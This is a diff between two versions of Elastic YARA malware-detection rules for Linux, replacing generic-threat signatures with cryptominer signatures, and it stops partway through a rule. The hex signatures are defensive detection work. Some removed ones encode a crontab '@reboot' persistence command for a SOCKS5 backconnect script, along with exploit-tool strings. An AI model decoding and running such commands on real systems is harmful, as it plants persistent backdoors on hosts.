-		modified = "2024-02-13"
+		id = "616afaa1-7679-4198-9e80-c3f044b3c07d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L430-L448"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6028562baf0a7dd27329c8926585007ba3e0648da25088204ebab2ac8f723e70"
-		logic_hash = "3ab5d9ba39be2553173f6eb4d2a1ca22bfb9f1bd537fed247f273eba1eabd782"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L401-L419"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0901672d2688660baa26fdaac05082c9e199c06337871d2ae40f369f5d575f71"
+		logic_hash = "53a309a6a274558e4ae8cfa8f3e258f23dc9ceafab3be46351c00d24f5d790ec"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c393af7d7fb92446019eed23bbf216d941a9598dd52ccb610432985d0da5ce04"
-		severity = 50
+		fingerprint = "fd6afad9f318ce00b0f0f8be3a431a2c7b4395dd69f82328f4555b3715a8b298"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 53 57 56 83 E4 F0 83 EC 10 E8 00 00 00 00 5B 81 C3 53 50 00 00 8B 45 0C 8B 4D 10 8B 55 08 65 8B 35 14 00 00 00 89 74 24 08 8D 75 14 89 74 24 04 8B 3A 56 51 50 52 FF 97 CC 01 00 00 83 }
+		$a = { 4B 04 31 C0 41 8B 14 07 89 14 01 48 83 C0 04 48 83 F8 14 75 EF 4C 8D 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_04E8E4A5 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_18Af74B2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "04e8e4a5-a1e1-4850-914a-d7e583d052a3"
-		date = "2024-01-23"
-		modified = "2024-02-13"
+		id = "18af74b2-99fe-42fc-aacd-7887116530a8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L450-L468"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "248f010f18962c8d1cc4587e6c8b683a120a1e838d091284ba141566a8a01b92"
-		logic_hash = "9b04725bf0a75340c011028b201ed08eb9de305a5b4630cc79156c0a847cdc9e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L421-L439"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "52707aa413c488693da32bf2705d4ac702af34faee3f605b207db55cdcc66318"
+		logic_hash = "d8ec9bd01fcabdd4a80e07287ecc85026007672bbc3cd2d4cbb2aef98da88ed5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "08e48ddeffa8617e7848731b54a17983104240249cddccc5372c16b5d74a1ce4"
-		severity = 50
+		fingerprint = "07a6b44ff1ba6143c76e7ccb3885bd04e968508e93c5f8bff9bc5efc42a16a96"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 48 81 EC F8 01 00 00 48 8D 7C 24 10 E8 60 13 00 00 48 8D 7C 24 10 E8 12 07 00 00 85 ED 74 30 48 8B 3B 48 8D 54 24 02 48 B8 5B 6B 77 6F 72 6B 65 72 BE 0D 00 00 00 48 89 44 24 02 C7 44 24 0A 2F }
+		$a = { 00 70 6F 77 00 6C 6F 67 31 70 00 6C 6F 67 32 66 00 63 65 69 6C 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_47B147Ec : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_1B76C066 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "47b147ec-bcd2-423a-bc67-a85712d135eb"
-		date = "2024-02-01"
-		modified = "2024-02-13"
+		id = "1b76c066-463c-46e5-8a08-ccfc80e3f399"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L470-L488"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cc7734a10998a4878b8f0c362971243ea051ce6c1689444ba6e71aea297fb70d"
-		logic_hash = "84c68f2ed76d644122daf81d41d4eb0be9aa8b1c82993464d3138ae30992110f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L441-L459"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f60302de1a0e756e3af9da2547a28da5f57864191f448e341af1911d64e5bc8b"
+		logic_hash = "be239bc14d1adf05a5c6bf2b2557551566330644a049b256a7a5c0ab9549bd06"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "38f55b825bbd1fa837b2b9903d01141a071539502fe21b874948dbc5ac215ae8"
-		severity = 50
+		fingerprint = "e33937322a1a2325539d7cdb1df13295e5ca041a513afe1d5e0941f0c66347dd"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 50 41 54 48 3D 2F 62 69 6E 3A 2F 73 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 3A 2F 75 73 72 2F 62 69 6E 3A 2F 75 73 72 2F 6C 6F 63 61 6C 2F 62 69 6E 3A 2F 75 73 72 2F 6C 6F 63 61 6C 2F 73 62 69 6E }
+		$a = { 0C 14 89 0C 10 48 83 C2 04 48 83 FA 20 75 EF 48 8D 8C 24 F0 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_887671E9 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_B6Ea5Ee1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "887671e9-1e93-42d9-afb8-a96d1a87c572"
-		date = "2024-02-01"
-		modified = "2024-02-13"
+		id = "b6ea5ee1-ede5-4fa3-a065-99219b3530da"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L490-L508"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "701c7c75ed6a7aaf59f5a1f04192a1f7d49d73c1bd36453aed703ad5560606dc"
-		logic_hash = "eefe9391a9ce716dbe16f11b8ccea89d032fdad42fcabd84ffe584409c550847"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L461-L479"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "19b442c9aa229cd724ed9cbaa73f9dfaf0ed61aa3fd1bee7bf8ba964fc23a2b8"
+		logic_hash = "529119e07aa0243afddc3141dc441c314c3f75bdf3aee473b8bb7749c95fa78a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "55cbfbd761e2000492059909199d16faf6839d3d893e29987b73087942c9de78"
-		severity = 50
+		fingerprint = "07c2f1fcb50ce5bcdebfc03fca4aaacdbabab42a857d7cc8f008712ca576b871"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 57 56 53 83 E4 F0 83 EC 40 8B 45 0C E8 DC 04 00 00 81 C3 AC F7 0B 00 89 44 24 04 8B 45 08 89 04 24 E8 A7 67 00 00 85 C0 0F 88 40 04 00 00 C7 04 24 00 00 00 00 E8 03 F5 FF FF 8B 93 34 }
+		$a = { 47 20 49 8D 77 20 4C 89 74 24 10 4C 89 6C 24 18 4C 89 64 24 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_9Cf10F10 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_050Ac14C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "9cf10f10-9a5b-46b5-ae25-7239b8f1434a"
-		date = "2024-02-01"
-		modified = "2024-02-13"
+		id = "050ac14c-9aef-4212-97fd-e2a21c2f62e2"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L510-L528"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d07c9be37dc37f43a54c8249fe887dbc4058708f238ff3d95ed21f874cbb84e8"
-		logic_hash = "ca4ae64b73fb7013008e8049d17479032d904a3faf5ad0f2ad079971a231a3b8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L481-L499"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36f2ce4e34faf42741f0a15f62e8b3477d69193bf289818e22d0e3ee3e906eb0"
+		logic_hash = "c34b0ff3ce867a76ef57fad7642de7916fa7baebf1a2a8d514f7b74be7231fd4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "88b3122e747e685187a7b7268e22d12fbd16a24c7c2edb6f7e09c86327fc2f0e"
-		severity = 50
+		fingerprint = "6f0a5a5d3cece7ae8db47ef5e1bbbea02b886e865f23b0061c2d346feb351663"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 14 8B 44 24 18 8B 08 89 0C 24 89 44 24 04 C6 44 24 08 00 E8 84 1E 00 00 8B 44 24 0C 89 44 24 10 8B 4C 24 18 8B 09 89 04 24 8B 54 24 1C 89 54 24 04 89 4C 24 08 E8 52 C7 05 00 8B 44 24 }
+		$a = { 47 08 49 3B 47 10 74 3C 48 85 C0 74 16 48 8B 13 48 89 10 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_75813Ab2 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_Df937Caa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "75813ab2-47f5-40ad-b512-9aa081abdc03"
-		date = "2024-02-01"
-		modified = "2024-02-13"
+		id = "df937caa-ca6c-4a80-a68c-c265dab7c02c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L530-L549"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5819eb73254fd2a698eb71bd738cf3df7beb65e8fb5e866151e8135865e3fd9a"
-		logic_hash = "06e5daed278273137e416ef3ee6ac8496b144a9c3ce213ec92881ba61d7db6cb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L501-L519"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "19b442c9aa229cd724ed9cbaa73f9dfaf0ed61aa3fd1bee7bf8ba964fc23a2b8"
+		logic_hash = "d76a6008576687088f28674fb752e1a79ad2046e0208a65c21d0fcd284812ad8"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e5b985f588cf6d1580b8e5dc85350fd0e1ca22ca810b1eca8d2bed774237c930"
-		severity = 50
+		fingerprint = "963642e141db6c55bd8251ede57b38792278ded736833564ae455cc553ab7d24"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 5B 2B 5D 20 6D 6D 61 70 3A 20 30 78 25 6C 78 20 2E 2E 20 30 78 25 6C 78 }
-		$a2 = { 5B 2B 5D 20 70 61 67 65 3A 20 30 78 25 6C 78 }
+		$a = { 04 62 20 0A 10 02 0A 14 60 29 00 02 0C 24 14 60 7D 44 01 70 01 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_11041685 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_E9Ff82A8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "11041685-8c0d-4de0-ba43-b8f676882857"
-		date = "2024-02-01"
-		modified = "2024-02-13"
+		id = "e9ff82a8-b8ca-45fb-9738-3ce0c452044f"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L551-L570"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "296440107afb1c8c03e5efaf862f2e8cc6b5d2cf979f2c73ccac859d4b78865a"
-		logic_hash = "19f4109e73981424527ece8c375274f97fd3042427b7875071451a8081a9aae7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L521-L539"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "62ea137e42ce32680066693f02f57a0fb03483f78c365dffcebc1f992bb49c7a"
+		logic_hash = "9309aaad6643fa212bb04ce8dc7d24978839fe475f17d36e3b692320563b6fad"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d446fd63eb9a036a722d76183866114ab0c11c245d1f47f8949b0241d5a79e40"
-		severity = 50
+		fingerprint = "91e78b1777a0580f25f7796aa6d9bcbe2cbad257576924aecfe513b1e1206915"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 72 65 73 6F 6C 76 65 64 20 73 79 6D 62 6F 6C 20 25 73 20 74 6F 20 25 70 }
-		$a2 = { 73 79 6D 62 6F 6C 20 74 61 62 6C 65 20 6E 6F 74 20 61 76 61 69 6C 61 62 6C 65 2C 20 61 62 6F 72 74 69 6E 67 21 }
+		$a = { D9 4D 01 CA 4C 89 74 24 D0 4C 8B 74 24 E8 4D 31 D4 49 C1 C4 20 48 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_0D22F19C : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_A5267Ea3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "0d22f19c-5724-480b-95de-ef2609896c52"
-		date = "2024-02-01"
-		modified = "2024-02-13"
+		id = "a5267ea3-b98c-49e9-8051-e33a101f12d3"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L572-L591"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "da5a204af600e73184455d44aa6e01d82be8b480aa787b28a1df88bb281eb4db"
-		logic_hash = "ee43796b0717717cb012385d5bb3aece433c11780f1a293d280c39411f9fed98"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L541-L559"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b342ceeef58b3eeb7a312038622bcce4d76fc112b9925379566b24f45390be7d"
+		logic_hash = "081633b5aa0490dbffcc0b8ab9850b59dbbd67d947c0fe68d28338a352e94676"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c1899febb7bf6717bc330577a4baae4b4e81d69c4b3660944a6d8f708652d230"
-		severity = 50
+		fingerprint = "8391a4dbc361eec2877852acdc77681b3a15922d9a047d7ad12d06271d53f540"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 55 49 44 20 25 64 2C 20 45 55 49 44 3A 25 64 20 47 49 44 3A 25 64 2C 20 45 47 49 44 3A 25 64 }
-		$a2 = { 50 54 52 41 43 45 5F 50 4F 4B 45 55 53 45 52 20 66 61 75 6C 74 }
+		$a = { EE 6A 00 41 B9 01 00 00 00 48 8D 4A 13 4C 89 E7 88 85 40 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_4A46B0E1 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_4E9075E6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "4a46b0e1-b0d4-423c-9600-f594d3a48a33"
-		date = "2024-02-01"
-		modified = "2024-02-13"
+		id = "4e9075e6-3ca9-459e-9f5f-3e614fd4f1c8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L593-L612"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ba47ba830ab8deebd9bb906ea45c7df1f7a281277b44d43c588c55c11eba34a"
-		logic_hash = "e3f6804f502fad8c893fb4c3c27506b6ef17d7e0d0a01399c6d185bad92e895a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L561-L579"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "098bf2f1ce9d7f125e1c9618f349ae798a987316e95345c037a744964277f0fe"
+		logic_hash = "fe117f65666b9eac19fa588ee631f9be7551a3a9e3695b7ecbb77806658678aa"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2ae70fc399a228284a3827137db2a5b65180811caa809288df44e5b484eb1966"
-		severity = 50
+		fingerprint = "70d8c4ecb185b8817558ad9d26a47c340c977abb6abfca8efe1ff99efb43c579"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 20 28 76 69 61 20 53 79 73 74 65 6D 2E 6D 61 70 29 }
-		$a2 = { 20 5B 2B 5D 20 52 65 73 6F 6C 76 65 64 20 25 73 20 74 6F 20 25 70 25 73 }
+		$a = { 2C 24 74 67 48 89 5C 24 18 4C 89 6C 24 20 4C 89 FB 4D 89 E5 4C 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_0A02156C : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_3A8D0974 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "0a02156c-2958-44c5-9dbd-a70d528e507d"
-		date = "2024-02-01"
-		modified = "2024-02-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L614-L633"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f23d4b1fd10e3cdd5499a12f426e72cdf0a098617e6b178401441f249836371e"
-		logic_hash = "3ceea812f0252ec703a92482ce7a3ef0aa65bad149df2aa0107e07a45490b8f1"
+		id = "3a8d0974-384e-4d62-9aa8-0bd8f7d50206"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "193fe9ea690759f8e155458ef8f8e9efe9efc8c22ec8073bbb760e4f96b5aef7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L581-L599"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7039d461d8339d635a543fae2c6dbea284ce1b727d6585b69d8d621c603f37ac"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aa7a34e72e03b70f2f73ae319e2cc9866fbf2eddd4e6a8a2835f9b7c400831cd"
-		severity = 50
+		fingerprint = "60cb81033461e73fcb0fb8cafd228e2c9478c132f49e115c5e55d5579500caa2"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 72 65 71 75 69 72 65 73 5F 6E 75 6C 6C 5F 70 61 67 65 }
-		$a2 = { 67 65 74 5F 65 78 70 6C 6F 69 74 5F 73 74 61 74 65 5F 70 74 72 }
+		$a = { 07 41 89 34 06 48 83 C0 04 48 83 F8 20 75 EF 8B 42 D4 66 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_6D7Ec30A : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_B9E6Ffdf : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "6d7ec30a-5c9f-4d82-8191-b26eb2f40799"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "b9e6ffdf-4b2b-4052-9c91-a06f43a2e7b8"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L635-L654"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1cad1ddad84cdd8788478c529ed4a5f25911fb98d0a6241dcf5f32b0cdfc3eb0"
-		logic_hash = "33c705b89a82989c25fc67f50b06aa3a613cae567ec652d86ae64bad4b253c28"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L601-L619"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0f3200a93f1be4589eec562c4f688e379e687d09c03d1d8850cc4b5f90f192a"
+		logic_hash = "57d5b3eb5812a849d04695bdb1fb728a5ebd3bf5201ac3e7f36d37af0622eec2"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7d547a73a44eab080dde9cd3ff87d75cf39d2ae71d84a3daaa6e6828e057f134"
-		severity = 50
+		fingerprint = "fdd91d5802d5807d52f4c9635e325fc0765bb54cf51305c7477d2b791f393f3e"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 2F 74 6D 70 2F 73 6F 63 6B 73 35 2E 73 68 }
-		$a2 = { 63 61 74 20 3C 28 65 63 68 6F 20 27 40 72 65 62 6F 6F 74 20 65 63 68 6F 20 73 6F 63 6B 73 35 5F 62 61 63 6B 63 6F 6E 6E 65 63 74 36 36 36 20 3E 20 2F 64 65 76 2F 6E 75 6C 6C 20 7C 20 28 63 64 20 20 26 26 20 29 27 29 20 3C 28 73 65 64 20 27 2F 73 6F 63 6B 73 35 5F 62 61 63 6B 63 6F 6E 6E 65 63 74 36 36 36 2F 64 27 20 3C 28 63 72 6F 6E 74 61 62 20 2D 6C 20 32 3E 2F 64 65 76 2F 6E 75 6C 6C 29 29 20 7C 20 63 72 6F 6E 74 61 62 20 2D }
+		$a = { 89 D8 48 83 C4 20 5B C3 0F 1F 00 BF ?? ?? 40 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_900Ffdd4 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_7Ef74003 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "900ffdd4-085e-4d6b-af7b-2972157dcefd"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "7ef74003-cd1f-4f2f-9c96-4dbcabaa36e4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L656-L674"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a3e1a1f22f6d32931d3f72c35a5ee50092b5492b3874e9e6309d015d82bddc5d"
-		logic_hash = "eb69bfc146b32e790fffdf4588b583335d2006182070b53fec43bb6e4971d779"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L621-L639"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a172cfecdec8ebd365603ae094a16e247846fdbb47ba7fd79564091b7e8942a0"
+		logic_hash = "1bde07dbb88357fcc02171512725be94d9fc0427c03afb2d59fbd0658c5d8e2e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f03d39e53b06dd896bfaff7c94beaa113df1831dc397ef0ea8bea63156316a1b"
-		severity = 50
+		fingerprint = "187fd82b91ae6eadc786cadac75de5d919a2b8a592037a5bf8da2efa2539f507"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
